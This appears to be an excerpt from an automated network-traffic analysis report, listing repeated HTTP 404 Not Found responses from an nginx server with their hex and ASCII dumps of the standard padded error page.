Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:03:39 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:03:41 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:03:41 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:03:50 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:03:52 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:03:54 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:04:02 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:04:04 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:04:09 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
